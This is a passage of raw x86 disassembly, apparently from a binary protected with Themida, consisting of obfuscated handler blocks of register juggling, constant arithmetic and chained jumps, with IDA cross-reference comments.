		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		xchg	ah, dl
		not	ah
		jmp	loc_565078
; ---------------------------------------------------------------------------


loc_56D331:				; CODE XREF: Themida_:0056078Fj
		add	edx, ebx
		sub	edx, 1C3A79F5h
		sub	edx, 291E3542h
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_568B85
; ---------------------------------------------------------------------------


loc_56D352:				; CODE XREF: Themida_:0055E252j
		pop	ebp
		jmp	loc_560474
; ---------------------------------------------------------------------------


loc_56D358:				; CODE XREF: Themida_:00571DA8j
		xchg	ebx, [esp]
		jmp	loc_56F824
; ---------------------------------------------------------------------------


loc_56D360:				; CODE XREF: Themida_:0056FE80j
		and	ebx, 5C4A7798h
		add	ebx, 0B3FD89FCh
		jmp	loc_56A23E
; ---------------------------------------------------------------------------


loc_56D371:				; CODE XREF: Themida_:0056E848j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 7A4E054Eh
		jmp	loc_56D9A2
; ---------------------------------------------------------------------------


loc_56D382:				; CODE XREF: Themida_:00568A49j
		mov	edx, 514E39A7h
		jmp	loc_5664C6
; ---------------------------------------------------------------------------


loc_56D38C:				; CODE XREF: Themida_:005718EEj
		push	edx
		mov	edx, esi
		mov	eax, edx
		jmp	loc_57037D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_56D396:				; CODE XREF: sub_562A0A+9E48j
		sub	cl, 1Fh
		jmp	loc_566224
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_56D39E:				; CODE XREF: Themida_:0057186Aj
		push	4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		push	ebp
		push	4F407CF4h
		jmp	loc_5717F2
; ---------------------------------------------------------------------------


loc_56D3B9:				; CODE XREF: Themida_:00562B09j
		sub	ebx, 47411306h
		jmp	loc_571468
; ---------------------------------------------------------------------------


loc_56D3C4:				; CODE XREF: Themida_:00563EABj
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_569E7F
; ---------------------------------------------------------------------------


loc_56D3D5:				; CODE XREF: Themida_:0056EB5Aj
		sub	ebp, 2AFC5E55h
		jmp	loc_561BB6
; ---------------------------------------------------------------------------


loc_56D3E0:				; CODE XREF: Themida_:00567B16j
		xchg	edi, [esp]
		mov	esp, [esp]
		and	ecx, edx
		pop	edx
		not	ecx
		push	edx
		jmp	loc_567299
; ---------------------------------------------------------------------------


loc_56D3F1:				; CODE XREF: Themida_:00572A2Dj
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D400
; ---------------------------------------------------------------------------


loc_56D40D:				; CODE XREF: Themida_:0056161Fj
		dec	ebp
		inc	ebp
		xor	ebp, 0C9B22E1Fh
		jmp	loc_56310C
; ---------------------------------------------------------------------------


loc_56D41A:				; CODE XREF: Themida_:00566BC7j
		xor	edx, 508E6F67h
		pop	edi
		add	edx, 155751ADh
		push	ecx
		jmp	loc_55D810
; ---------------------------------------------------------------------------


loc_56D42D:				; CODE XREF: Themida_:00567BE8j
		mov	ebx, 4
		sub	edi, 0C200174h
		jmp	loc_55D461
; ---------------------------------------------------------------------------


loc_56D43D:				; CODE XREF: Themida_:00566DE7j
		mov	edx, 5A4D1D9Ah
		sub	edx, 767E7D57h
		xor	edx, 0E3CEA047h
		add	ebx, edx
		pop	edx
		jmp	loc_571568
; ---------------------------------------------------------------------------


loc_56D456:				; CODE XREF: Themida_:0055DB03j
		pop	ebp
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 30C377AFh
		add	ebx, ebp
		jmp	loc_563A8E
; ---------------------------------------------------------------------------


loc_56D46F:				; CODE XREF: Themida_:0055D8D4j
		sub	edi, 31BD18D9h
		add	edi, ebx
		add	edi, 31BD18D9h
		jmp	loc_566B51
; ---------------------------------------------------------------------------


loc_56D482:				; CODE XREF: Themida_:0056341Cj
		push	edx
		jmp	loc_570B4A
; ---------------------------------------------------------------------------


loc_56D488:				; CODE XREF: Themida_:00563EFDj
		mov	cl, 88h
		add	al, cl
		pop	cx
		add	al, dl
		push	cx
		mov	cl, 88h
		jmp	loc_56CE54
; ---------------------------------------------------------------------------


loc_56D499:				; CODE XREF: Themida_:00571DFCj
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		sub	esi, 79AE5B0Bh
		add	esi, ebx
		add	esi, 79AE5B0Bh
		pop	ebx
		xor	esi, [esp]
		jmp	loc_55D8F4
; ---------------------------------------------------------------------------


loc_56D4B8:				; CODE XREF: Themida_:00569C1Fj
		push	ebp
		mov	ebp, 0A47DDE7Ch
		sub	ebx, ebp
		pop	ebp
		mov	edx, ebx
		pop	ebx
		mov	dword ptr [edi+20h], 0F350B72h
		jmp	loc_5627E4
; ---------------------------------------------------------------------------


loc_56D4D0:				; CODE XREF: Themida_:0056D63Ej
		pop	ecx
		mov	al, 8Bh
		xor	al, bh
		jmp	loc_56A309
; ---------------------------------------------------------------------------


loc_56D4DA:				; CODE XREF: Themida_:0055F346j
		sub	edi, 11560DA9h
		push	edx
		mov	edx, edi
		jmp	loc_56C7C9
; ---------------------------------------------------------------------------


loc_56D4E8:				; CODE XREF: Themida_:0055EB92j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	7E52h
		jmp	loc_56464F
; ---------------------------------------------------------------------------


loc_56D4FC:				; CODE XREF: Themida_:0055DE27j
		push	edx
		mov	edx, 47772822h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5613E8
; ---------------------------------------------------------------------------


loc_56D50F:				; CODE XREF: Themida_:005652DFj
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_56E704
; ---------------------------------------------------------------------------


loc_56D51E:				; CODE XREF: Themida_:0055F5ECj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_56B057
; ---------------------------------------------------------------------------


loc_56D533:				; CODE XREF: Themida_:00569934j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	al, 0BDh
		sub	al, dh
		push	cx
		mov	cl, 0BDh
		add	al, 6Bh
		sub	al, cl
		jmp	loc_56E023
; ---------------------------------------------------------------------------


loc_56D54E:				; CODE XREF: Themida_:005712EEj
		mov	ecx, 2E7D557Eh
		neg	ecx
		sub	ecx, 160E4175h
		jmp	loc_570D66
; ---------------------------------------------------------------------------


loc_56D560:				; CODE XREF: Themida_:00564E1Aj
		or	ecx, 6BC139F3h
		xor	ecx, 200E4Dh
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_56C585
; ---------------------------------------------------------------------------


loc_56D59E:				; CODE XREF: Themida_:005622ADj
		xor	al, dh
		jmp	loc_560C48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_56D5A5:				; CODE XREF: sub_562A0A+6127j
		add	esp, 4
		add	bl, 0F7h
		add	bl, al
		sub	bl, 0F7h
		add	bl, 69h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6942h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56E5EE
; ---------------------------------------------------------------------------


loc_56D5D9:				; CODE XREF: Themida_:0056708Ej
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56FE85
; ---------------------------------------------------------------------------


loc_56D5EF:				; CODE XREF: Themida_:0056F1BCj
		add	esp, 4
		push	4634h
		mov	[esp], ecx
		push	3FAh
		mov	[esp], eax
		mov	eax, 5CBA32C3h
		xor	eax, 9AE4555h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56DCB7
; ---------------------------------------------------------------------------


loc_56D61A:				; CODE XREF: Themida_:00570517j
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56171B
; ---------------------------------------------------------------------------


loc_56D629:				; CODE XREF: Themida_:005600CAj
		add	esp, 4
		add	ebp, 4
		push	edx
		jmp	loc_5624D4
; ---------------------------------------------------------------------------


loc_56D63B:				; CODE XREF: Themida_:005657EDj
		pop	edx
		mov	bh, cl
		jmp	loc_56D4D0
; ---------------------------------------------------------------------------


loc_56D643:				; CODE XREF: Themida_:0055E345j
		push	edx
		mov	edx, 0AC747B6h
		xor	edx, 7612382Fh
		push	eax
		mov	eax, 6A4E0A67h
		sub	edx, eax
		pop	eax
		add	eax, 58B5789Dh
		jmp	loc_55F08C
; ---------------------------------------------------------------------------


loc_56D662:				; CODE XREF: Themida_:0056549Aj
		mov	edi, edx
		pop	edx
		add	eax, edi
		push	dword ptr [esp]
		jmp	loc_56D1CB
; ---------------------------------------------------------------------------


loc_56D66F:				; CODE XREF: Themida_:00565471j
		sub	ebp, 6BA706A4h
		pop	ecx
		jmp	loc_57151F
; ---------------------------------------------------------------------------


loc_56D67B:				; CODE XREF: Themida_:0056157Bj
		mov	esp, [esp]
		movzx	ecx, al
		push	4944h
		mov	[esp], ecx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56D68E:				; CODE XREF: Themida_:0056C124j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55D39E
; ---------------------------------------------------------------------------


loc_56D69F:				; CODE XREF: Themida_:005661BAj
		xchg	eax, [esp]
		pop	esp
		dec	dl
		add	dl, 50h
		push	4CC9h
		mov	[esp], eax
		jmp	loc_56D72F
; ---------------------------------------------------------------------------


loc_56D6B5:				; CODE XREF: Themida_:00568AC0j
		dec	esi
		sub	esi, 54333C08h
		neg	esi
		not	esi
		jmp	loc_56700B
; ---------------------------------------------------------------------------


loc_56D6C5:				; CODE XREF: Themida_:005715AFj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_562C5D
; ---------------------------------------------------------------------------


loc_56D6CE:				; CODE XREF: Themida_:00563C1Ej
		push	45B6h
		mov	[esp], eax
		push	1393h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		jmp	loc_56A82A
; ---------------------------------------------------------------------------


loc_56D6EC:				; CODE XREF: Themida_:0056AF55j
		mov	esi, ebp
		pop	ebp
		add	eax, 32611ED4h
		add	eax, esi
		sub	eax, 32611ED4h
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56D70D:				; CODE XREF: Themida_:00560509j
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 756E7751h
		sub	ebx, 756E774Dh
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_567DEE
; ---------------------------------------------------------------------------


loc_56D72F:				; CODE XREF: Themida_:0056D6B0j
		push	ecx
		mov	cl, 0B7h
		or	cl, 0C1h
		push	ax
		jmp	loc_5609FF
; ---------------------------------------------------------------------------


loc_56D73C:				; CODE XREF: Themida_:005676CCj
		pop	eax
		sub	edx, 3B3A4CBBh
		jmp	loc_56BEF2
; ---------------------------------------------------------------------------


loc_56D748:				; CODE XREF: Themida_:0055E2ACj
		push	3FFBh
		mov	[esp], edi
		push	ecx
		push	66811BCDh
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 235E4E2Bh
		inc	edi
		sub	edi, 49302CECh
		shl	edi, 5
		xor	edi, 0A3046FFh
		jmp	loc_56C8A8
; ---------------------------------------------------------------------------


loc_56D77C:				; CODE XREF: Themida_:00561007j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	444Ah
		mov	[esp], ebp
		mov	ebp, 547A0D63h
		and	ebp, 0A44433Dh
		jmp	loc_56FC6B
; ---------------------------------------------------------------------------


loc_56D79B:				; CODE XREF: Themida_:0056F7E7j
		push	eax
		mov	al, bl
		mov	ch, al
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[edx], ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	ebx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56D7C8:				; CODE XREF: Themida_:00560BC7j
		pop	eax
		jmp	loc_571BFA
; ---------------------------------------------------------------------------


loc_56D7CE:				; CODE XREF: Themida_:00567DF6j
		mov	ecx, 198C34A3h
		xor	ecx, ebx
		pop	ebx
		dec	ecx
		xchg	esi, ecx
		neg	esi
		xchg	esi, ecx
		xor	ecx, 293E0474h
		jmp	loc_56334F
; ---------------------------------------------------------------------------


loc_56D7E8:				; CODE XREF: Themida_:00562655j
		sub	edx, ebx
		pop	ebx
		pop	eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56A3DB
; ---------------------------------------------------------------------------


loc_56D7FA:				; CODE XREF: Themida_:005651D4j
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_56C631
; ---------------------------------------------------------------------------


loc_56D803:				; CODE XREF: Themida_:0056985Cj
		add	ebx, 34770199h
		sub	ebx, eax
		sub	ebx, 34770199h
		jmp	loc_56FF8E
; ---------------------------------------------------------------------------


loc_56D816:				; CODE XREF: Themida_:00569221j
		push	ebp
		mov	ebp, 0A6CC8Eh
		push	ebp
		push	edx
		mov	edx, 38FF1918h
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	edi, 38FF1918h
		pop	ebp
		jmp	loc_567CFF
; ---------------------------------------------------------------------------


loc_56D83B:				; CODE XREF: Themida_:0056C488j
		xchg	ebp, [esp]
		jmp	loc_55ED7D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	2265h
		mov	[esp], ebp
		push	esp
		jmp	loc_56DE95
; ---------------------------------------------------------------------------


loc_56D85A:				; CODE XREF: Themida_:005642DEj
		mov	eax, ebx
		pop	ebx
		mov	edi, 3C3C205Eh
		add	edi, 401855B2h
		add	edi, 9034CB2Ch
		xor	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esi, 4C6702A6h
		push	eax
		mov	eax, 7CBD7B06h
		and	eax, 35C61BC9h
		xor	eax, 5D4D2367h
		jmp	loc_5625E1
; ---------------------------------------------------------------------------


loc_56D895:				; CODE XREF: Themida_:0057289Dj
		add	edx, 3D6D606Ah
		pop	ebx
		push	eax
		push	46FC75C5h
		pop	eax
		jmp	loc_56B83E
; ---------------------------------------------------------------------------


loc_56D8A8:				; CODE XREF: Themida_:00568A29j
		push	eax
		jmp	loc_567FC8
; ---------------------------------------------------------------------------


loc_56D8AE:				; CODE XREF: Themida_:0055D7F1j
		push	2
		mov	esi, [esp]
		push	edi
		jmp	loc_57134D
; ---------------------------------------------------------------------------


loc_56D8BC:				; CODE XREF: Themida_:00572937j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569CBC
; ---------------------------------------------------------------------------


loc_56D8C7:				; CODE XREF: Themida_:0056A781j
		pop	ebx
		add	ecx, 1
		add	ecx, 0AFE6A003h
		add	eax, ecx
		mov	ecx, [esp]
		push	eax
		jmp	loc_55ED04
; ---------------------------------------------------------------------------


loc_56D8DF:				; CODE XREF: Themida_:00564B87j
		sub	ebx, 8030C252h
		add	esi, ebx
		pop	ebx
		jmp	loc_560842
; ---------------------------------------------------------------------------


loc_56D8ED:				; CODE XREF: Themida_:00565479j
		pop	esi
		push	esi
		push	eax
		jmp	loc_564500
; ---------------------------------------------------------------------------


loc_56D8F5:				; CODE XREF: Themida_:0056127Aj
		add	edi, 0DD44B4Bh
		pop	edx
		xor	esi, edi
		pop	edi
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_5624AC
; ---------------------------------------------------------------------------


loc_56D90D:				; CODE XREF: Themida_:00565434j
		add	edi, 0FD9CF288h
		add	ecx, edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D7B4
; ---------------------------------------------------------------------------


loc_56D921:				; CODE XREF: Themida_:005645BDj
		and	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5649DE
; ---------------------------------------------------------------------------


loc_56D934:				; CODE XREF: Themida_:0057098Dj
		push	76265973h
		pop	edx
		add	edx, 61430BB6h
		sub	edx, ebx
		sub	edx, 61430BB6h
		pop	ebx
		jmp	loc_55FEF8
; ---------------------------------------------------------------------------


loc_56D94E:				; CODE XREF: Themida_:005634F6j
		mov	cl, bl
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_571ECA
; ---------------------------------------------------------------------------


loc_56D959:				; CODE XREF: Themida_:0056EEBCj
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56D971:				; CODE XREF: Themida_:00567BC2j
		sub	dx, 219Fh
		add	dx, 137h
		pop	bx
		add	dx, 7F96h
		push	small 164Bh
		mov	[esp], cx
		push	edx
		mov	dx, 3EAEh
		not	dx
		xor	dx, 9E60h
		push	di
		mov	di, 1
		jmp	loc_569882
; ---------------------------------------------------------------------------


loc_56D9A2:				; CODE XREF: Themida_:0056D37Dj
		push	5B67h
		mov	[esp], ecx
		push	1000h
		mov	ecx, [esp]
		jmp	loc_56EC10
; ---------------------------------------------------------------------------


loc_56D9B7:				; CODE XREF: Themida_:0056A182j
		shr	esi, 4
		jmp	loc_5650B8
; ---------------------------------------------------------------------------


loc_56D9BF:				; CODE XREF: Themida_:0056F160j
		pop	dword ptr [esp]
		jmp	loc_567BA0
; ---------------------------------------------------------------------------


loc_56D9C7:				; CODE XREF: Themida_:0056C3EDj
		add	ebp, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_566145
; ---------------------------------------------------------------------------


loc_56D9E0:				; CODE XREF: Themida_:0056C9A5j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		push	ecx
		jmp	loc_5728BC
; ---------------------------------------------------------------------------


loc_56D9F4:				; CODE XREF: Themida_:0056D2A7j
		add	esp, 4
		jmp	loc_55E8D3
; ---------------------------------------------------------------------------


loc_56D9FF:				; CODE XREF: Themida_:0056E20Dj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	7D94h
		jmp	loc_5706CC
; ---------------------------------------------------------------------------


loc_56DA13:				; CODE XREF: Themida_:00570741j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E6AA
; ---------------------------------------------------------------------------


loc_56DA1E:				; CODE XREF: Themida_:00569D13j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_57294F
; ---------------------------------------------------------------------------


loc_56DA2E:				; CODE XREF: Themida_:0056EB1Fj
		pop	edx
		pop	eax
		mov	bx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		shl	cl, 2
		sub	cl, 0F4h
		sub	al, 0A1h
		add	al, cl
		push	ebx
		mov	bh, 0A1h
		add	al, bh
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	4
		pop	ebx
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_56CFA5
; ---------------------------------------------------------------------------


loc_56DA77:				; CODE XREF: Themida_:00564B92j
		push	eax
		mov	eax, 168C53FFh
		inc	eax
		neg	eax
		or	eax, 4A0953C0h
		and	eax, 47405F23h
		add	eax, 0BCBFA104h
		jmp	loc_5658BB
; ---------------------------------------------------------------------------


loc_56DA94:				; CODE XREF: Themida_:0056EF09j
		sub	esp, 4
		jmp	loc_563EB0
; ---------------------------------------------------------------------------


loc_56DA9F:				; CODE XREF: Themida_:0055EC2Fj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	al, 54h
		push	small 5CC5h
		mov	[esp], dx
		jmp	loc_56030A
; ---------------------------------------------------------------------------


loc_56DABB:				; CODE XREF: Themida_:0056B857j
		and	edi, 5C056968h
		dec	edi
		xor	edi, 5EB17BD1h
		and	ecx, edi
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_5706E0
; ---------------------------------------------------------------------------


loc_56DADE:				; CODE XREF: Themida_:0056B904j
		add	eax, 0FFFFFFFFh
		not	eax
		jmp	loc_564DF8
; ---------------------------------------------------------------------------


loc_56DAE8:				; CODE XREF: Themida_:0055FD04j
		sub	al, 0ECh
		xor	al, 8Eh
		xor	cl, al
		pop	eax
		jmp	loc_562DAB
; ---------------------------------------------------------------------------


loc_56DAF4:				; CODE XREF: Themida_:00565512j
		mov	al, 0A3h
		shr	al, 3
		push	edx
		mov	dh, 4Eh
		push	cx
		mov	cl, 24h
		xor	dh, cl
		pop	cx
		jmp	loc_5622A4
; ---------------------------------------------------------------------------


loc_56DB09:				; CODE XREF: Themida_:00564F6Fj
		pop	ebx
		sub	ebx, edx
		pop	edx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_563D46
; ---------------------------------------------------------------------------


loc_56DB15:				; CODE XREF: Themida_:00566CB0j
		push	edi
		push	ebp
		mov	ebp, 2C6D73BBh
		add	ebp, 4A34F97h
		jmp	loc_56727A
; ---------------------------------------------------------------------------


loc_56DB27:				; CODE XREF: Themida_:00560F3Cj
		add	ebp, edx
		pop	edx
		jmp	loc_560612
; ---------------------------------------------------------------------------


loc_56DB2F:				; CODE XREF: Themida_:00560AE9j
		mov	[esp], edx
		push	0F2Ch
		mov	[esp], esp
		jmp	loc_562964
; ---------------------------------------------------------------------------


loc_56DB3F:				; CODE XREF: Themida_:0055EF83j
		push	eax
		jmp	loc_564996
; ---------------------------------------------------------------------------


loc_56DB45:				; CODE XREF: Themida_:005709CEj
		mov	[esp], ebp
		jmp	loc_572A58
; ---------------------------------------------------------------------------


loc_56DB4D:				; CODE XREF: Themida_:0056CC11j
		inc	eax
		sub	eax, 0D955130h
		jmp	loc_56F9A3
; ---------------------------------------------------------------------------


loc_56DB58:				; CODE XREF: Themida_:0055FDACj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 40h
		push	edi
		jmp	loc_569A15
; ---------------------------------------------------------------------------


loc_56DB70:				; CODE XREF: Themida_:00569236j
		mov	al, bl
		mov	bl, dl
		mov	dl, al
		pop	eax
		sub	dl, 64h
		add	al, dl
		pop	edx
		add	al, 0D2h
		sub	al, 0C7h
		sub	al, ch
		push	ebx
		mov	bh, 42h
		shl	bh, 2
		dec	bh
		neg	bh
		and	bh, 0FCh
		jmp	loc_55DD6A
; ---------------------------------------------------------------------------


loc_56DB95:				; CODE XREF: Themida_:005607D5j
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_56636A
; ---------------------------------------------------------------------------


loc_56DBA3:				; CODE XREF: Themida_:0056F8B2j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_56B608
; ---------------------------------------------------------------------------


loc_56DBB0:				; CODE XREF: Themida_:0056DD06j
		sub	eax, 90160FFh
		jmp	loc_570005
; ---------------------------------------------------------------------------


loc_56DBBA:				; CODE XREF: Themida_:00564F1Cj
		mov	bl, 5Fh
		mov	cl, 42h
		xor	cl, bl
		pop	ebx
		add	bl, 22h
		add	bl, cl
		sub	bl, 22h
		mov	cx, [esp]
		add	esp, 2
		add	bl, ch
		sub	bl, 1Dh
		mov	cx, [esp]
		add	esp, 2
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_569706
; ---------------------------------------------------------------------------


loc_56DBED:				; CODE XREF: Themida_:00562A31j
		add	edi, eax
		pop	eax
		mov	ebx, edi
		pop	edi
		add	edi, ebx
		push	dword ptr [esp]
		jmp	loc_5728A2
; ---------------------------------------------------------------------------


loc_56DBFD:				; CODE XREF: Themida_:0056B2BEj
		not	esi
		and	esi, 652359D7h
		shl	esi, 6
		dec	esi
		sub	esp, 4
		jmp	loc_56EDD3
; ---------------------------------------------------------------------------


loc_56DC11:				; CODE XREF: Themida_:0056F277j
		add	esp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_5656B4
; ---------------------------------------------------------------------------


loc_56DC22:				; CODE XREF: Themida_:0056998Dj
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56DC55:				; CODE XREF: Themida_:005613A3j
		add	ebp, 0AEAEF904h
		xor	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 71036007h
		xor	edi, edx
		pop	edx
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_5601BD
; ---------------------------------------------------------------------------


loc_56DC71:				; CODE XREF: Themida_:00568920j
		push	bp
		mov	bp, 57BFh
		sub	[esp+4], bp
		pop	bp
		pop	si
		jmp	loc_568A4E
; ---------------------------------------------------------------------------


loc_56DC85:				; CODE XREF: Themida_:0055DA43j
		sub	edx, 19D1B74h
		and	[edi+1Ch], edx
		pop	edx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56DC94:				; CODE XREF: Themida_:0056C835j
		add	edi, 270A5B00h
		pop	ecx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_567DD8
; ---------------------------------------------------------------------------


loc_56DCAB:				; CODE XREF: Themida_:0056F88Aj
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56DCB7:				; CODE XREF: Themida_:0056D615j
		mov	ecx, 0AAEB886Eh
		sub	eax, 657B18D7h
		add	eax, ecx
		add	eax, 657B18D7h
		jmp	loc_564836
; ---------------------------------------------------------------------------


loc_56DCCD:				; CODE XREF: Themida_:00560B9Cj
		add	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	al, 6Eh
		sub	esp, 4
		mov	[esp], edx
		mov	dl, al
		mov	bl, dl
		jmp	loc_569DBD
; ---------------------------------------------------------------------------


loc_56DCEB:				; CODE XREF: Themida_:0056E5F6j
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_5606C9
; ---------------------------------------------------------------------------


loc_56DCF4:				; CODE XREF: Themida_:0055F06Dj
		mov	[esp], ebp
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebp
		xor	ebp, 0E2CD37F9h
		jmp	loc_56DBB0
; ---------------------------------------------------------------------------


loc_56DD0B:				; CODE XREF: Themida_:0055EADBj
		add	ecx, 64031E89h
		add	ecx, 2D2E2E99h
		pop	edx
		push	esi
		jmp	loc_56B2A7
; ---------------------------------------------------------------------------


loc_56DD1E:				; CODE XREF: Themida_:00564712j
		push	esi
		mov	esi, 50181B28h
		sub	eax, esi
		pop	esi
		jmp	loc_565C50
; ---------------------------------------------------------------------------


loc_56DD2C:				; CODE XREF: Themida_:0055E6FAj
		push	eax
		jmp	loc_564DDC
; ---------------------------------------------------------------------------


loc_56DD32:				; CODE XREF: Themida_:0056B7A8j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_566ED3
; ---------------------------------------------------------------------------


loc_56DD3F:				; CODE XREF: Themida_:00570499j
		and	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56DD49:				; CODE XREF: Themida_:005705F2j
		push	1FC0h
		mov	[esp], edx
		jmp	loc_57024A
; ---------------------------------------------------------------------------


loc_56DD56:				; CODE XREF: Themida_:00570000j
		pop	edi
		pop	ebp
		add	eax, edi
		jmp	loc_56D0DC
; ---------------------------------------------------------------------------


loc_56DD5F:				; CODE XREF: Themida_:0055E108j
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56B897
; ---------------------------------------------------------------------------


loc_56DD6B:				; CODE XREF: Themida_:0055D940j
		pop	edi
		or	edi, 546E63F9h
		dec	edi
		jmp	loc_55ECD8
; ---------------------------------------------------------------------------


loc_56DD78:				; CODE XREF: Themida_:0056455Bj
		mov	esi, 3DDD1AC1h
		not	esi
		jmp	loc_56E939
; ---------------------------------------------------------------------------


loc_56DD84:				; CODE XREF: Themida_:0056CF75j
		mov	ebp, 454C7F6Ah
		jmp	loc_56B019
; ---------------------------------------------------------------------------


loc_56DD8E:				; CODE XREF: Themida_:00563916j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56234D
; ---------------------------------------------------------------------------


